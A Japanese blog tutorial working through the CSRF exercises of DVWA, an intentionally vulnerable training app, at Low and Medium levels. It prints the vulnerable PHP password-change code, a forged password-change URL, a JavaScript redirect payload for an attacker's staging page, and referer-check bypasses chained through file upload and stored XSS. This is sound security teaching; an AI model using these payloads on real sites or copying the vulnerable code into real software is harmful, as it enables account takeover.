本記事の概要
意図的に脆弱性が存在するWebサーバであるDVWAのCross Site Request Forgery (CSRF)カテゴリの脆弱性の演習の流れを記載します。
CSRFは他サイトからのリクエストを、掲示板やパスワード変更フォームなどを処理するWebアプリケーションに送って意図しない処理をさせる脆弱性です。
Cross Site Request Forgery (CSRF)は主に以下の流れで攻撃を成功させます。今回は例として正規のサイトをパスワードを変更する場合を想定します。
(1) ユーザが正規のサイトにログインする。
今回の例では、DVWAのアプリケーションにログインします。
(2) ユーザが「攻撃者が構築した踏み台サイト」にアクセスする。
ユーザが攻撃者が構築した踏み台サイトのURLにアクセスします。
その後、サイト内に含まれるプログラムによって、
正規のサイトにパスワード変更するように処理するリクエストを送ります。
(3) 正規のサイトで意図しない処理が実行される。
ユーザから送信されたリクエストによって、
正規のサイトで意図しない処理(パスワード変更)が実行される。
上記の(1)から(3)の流れをイメージ図にすると、以下の内容になります。
DVWAでは3段階(Low、Medium、High)のレベルに分かれて問題が出題されており、LowとMediumの演習の手順を記載します。
DVWAの概要や導入方法は「DVWA(Damn Vulnerable Web Application)を構築してみた」をご確認ください。
※Cross Site Request Forgery (CSRF)攻撃を自身が管理しているサーバ以外に攻撃した場合は、犯罪になりますので注意してください。
※本記事に記載している内容を行った場合でも私は責任を取れませんので、実施する際は注意してください。
DVWAのレベルの設定変更手順
DVWAで設定できる問題の難易度の3段階(Low、Medium、High)の設定方法のやり方を記載します。
(1) 「DVWA Security」をクリックして、「Security Level is currently 〇〇〇」に記載されている現在のレベルを確認します。その後、レベルを選択して、「Submit」をクリックします。
(2) 「Security Level is currently 〇〇〇」の表記が変わったことを確認します。
DVWAのCross Site Request Forgery (CSRF)攻撃のやり方(レベル:Low)
本手順は事前にユーザが正規のサイト(DVWA)にアクセスしていることを想定して記載します。
(1) DVWAのCross Site Request Forgery (CSRF)演習のソースコードと画面は以下の通りです。
<?php
if (isset($_GET['Change'])) {
// Turn requests into variables
$pass_new = $_GET['password_new'];
$pass_conf = $_GET['password_conf'];
if (($pass_new == $pass_conf)){
$pass_new = mysql_real_escape_string($pass_new);
$pass_new = md5($pass_new);
$insert="UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';";
$result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );
echo "<pre> Password Changed </pre>";
mysql_close();
}
else{
echo "<pre> Passwords did not match. </pre>";
}
}
?>
(2) GETメソッドで送られた2つのデータ(New passwordとConfirm new password)が一致していた場合に、パスワードが変更されることが分かります。そのため、DVWAにログインしているユーザが以下URLにアクセスした場合に任意のパスワードに変更できます。
http://【DVWAのFQDN】/vulnerabilities/csrf/?password_new=【変更後のパスワード】&password_conf=【変更後のパスワード】&Change=Change#
(3) 攻撃者が構築した踏み台サイトに以下のようなファイルを格納する。
<script>
location.href="http://【DVWAのFQDN】/vulnerabilities/csrf/?password_new=【変更後のパスワード】&password_conf=【変更後のパスワード】&Change=Change#";
</script>
(4) ユーザが攻撃者が構築した踏み台サイトにアクセスすると、正規のサイトにページ遷移され、勝手にパスワードを変更されてしまいます。
DVWAのCross Site Request Forgery (CSRF)攻撃のやり方(レベル:Medium)
本手順は事前にユーザが正規のサイト(DVWA)にアクセスしていることを想定して記載します。
(1) DVWAのCross Site Request Forgery (CSRF)の演習のソースコードは以下の通りです。
<?php
if (isset($_GET['Change'])) {
// Checks the http referer header
if ( eregi ( "127.0.0.1", $_SERVER['HTTP_REFERER'] ) ){
// Turn requests into variables
$pass_new = $_GET['password_new'];
$pass_conf = $_GET['password_conf'];
if ($pass_new == $pass_conf){
$pass_new = mysql_real_escape_string($pass_new);
$pass_new = md5($pass_new);
$insert="UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';";
$result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );
echo "<pre> Password Changed </pre>";
mysql_close();
}
else{
echo "<pre> Passwords did not match. </pre>";
}
}
}
?>
(2) 演習のレベルLowと比較すると、以下の内容が追記されていますので、Refererヘッダーが127.0.0.1である場合のみパスワード変更します。
Refererヘッダーはひとつ前のWebページのURLが表示されるため、前のページが127.0.0.1である必要があります。
// Checks the http referer header
if ( eregi ( "127.0.0.1", $_SERVER['HTTP_REFERER'] ) ){
(3) 上記の手順(2)でRefererヘッダーが127.0.0.1である必要があることが分かりましたので、同じWebサイト(DVWA)から以下のURLに移動する必要があります。
【遷移先のURL】
http://【DVWAのFQDN】/vulnerabilities/csrf/?password_new=【変更後のパスワード】&password_conf=【変更後のパスワード】&Change=Change#
(4) 任意のページ遷移させる場合は、クロスサイトスクリプトを用いると実施できます。脆弱性を探したところ、以下の2つの手法でパスワードを変更するURLを作成できます。
【手法1:File Uploadの脆弱性を悪用】
(5) 「DVWA Security」をクリックして、「low」を選択してSubmitをクリックします。
(6) 以下のファイルを作成します。
<script>
location.href="http://【DVWAのFQDN】/vulnerabilities/csrf/?password_new=【変更後のパスワード】&password_conf=【変更後のパスワード】&Change=Change#";
</script>
(7) 「Upload」をクリックして、参照をクリックして手順(6)で作成したファイルを選択します。その後、「Upload」をクリックします。
(8) ファイルのアップロード先が表示されていることを確認します。
(9) 「DVWA Security」をクリックして、「medium」を選択してSubmitをクリックします。。
(10) 手順(8)で確認したファイルのURLへページ遷移するために以下のファイルを作成します。その後、攻撃者は構築したサイトに格納して、そのページにユーザがアクセスします。
<script>
location.href="http://【DVWAのFQDN】/vulnerabilities/upload/../../hackable/uploads/pass_change.html";
</script>
(11) ユーザが手順(10)で作成したファイルにアクセスすると、ページ遷移され、以下のパスワード変更画面が表示されます。
【手法2:Stored Cross Site Scripting (XSS)の脆弱性を悪用】
(5) 「DVWA Security」をクリックして、「low」を選択してSubmitをクリックします。
(6) Stored Cross Site Scripting (XSS)に格納する場合に文字数制限があるため、URLを短縮します。そのため、「短縮URL作成 (oshiire.org)」にアクセスします。
(7) URLを短縮するパスワード変更用のURLを入力して、「短縮」をクリックします。
【パスワード変更用のURL】
http://【DVWAのFQDN】/vulnerabilities/csrf/?password_new=【変更後のパスワード】&password_conf=【変更後のパスワード】&Change=Change#
(8) 短縮されたURLが表示されていることを確認します。
(9) 「XSS stored」をクリックして、以下の内容を入力して、「Sign Guestbook」をクリックします。
・Name : 任意の文字列
・Messege : <a href=”【短縮URL】”>aaa</a>
(10) 作成したメッセージが表示されて、リンクがあることを確認します。
(11) ユーザが手順(10)で作成したリンクをクリックします。
(12) ページ遷移され、以下のパスワード変更画面が表示されます。
DVWAに関する記事
DVWAについての関連記事は以下の通りです。
必要に応じて、ご確認ください。
No | タイトル | 記事の概要 |
---|---|---|
1 | DVWA(Damn Vulnerable Web Application) を構築してみた | DVWAのバージョン1.0.7の構築手順を記載します。 |
2 | DVWAのBrute Forceの脆弱性の演習 | DVWAの環境を用いてBrute Force攻撃の 演習の例を記載します。 |
3 | DVWAのCommand Executionの脆弱性の演習 | DVWAの環境を用いてCommand Execution攻撃の 演習の例を記載します。 |
4 | DVWAのCross Site Request Forgery (CSRF)の 脆弱性の演習 | DVWAの環境を用いてCSRF攻撃の 演習の例を記載します。 |
5 | DVWAのFile Inclusionの脆弱性の演習 | DVWAの環境を用いてFile Inclusionの脆弱性を 悪用した攻撃の演習の例を記載します。 |
6 | DVWAのSQL Injectionの脆弱性の演習 | DVWAの環境を用いてSQL Injection攻撃の 演習の例を記載します。 |
7 | DVWAのFile Uploadの脆弱性の演習 | DVWAの環境を用いてFile Uploadの脆弱性を 悪用した攻撃の演習の例を記載します。 |
8 | DVWAのXSS reflectedの脆弱性の演習 | DVWAの環境を用いてXSS reflected攻撃の 演習の例を記載します。 |
9 | DVWAのXSS storedの脆弱性の演習 | DVWAの環境を用いてXSS stored攻撃の 演習の例を記載します。 |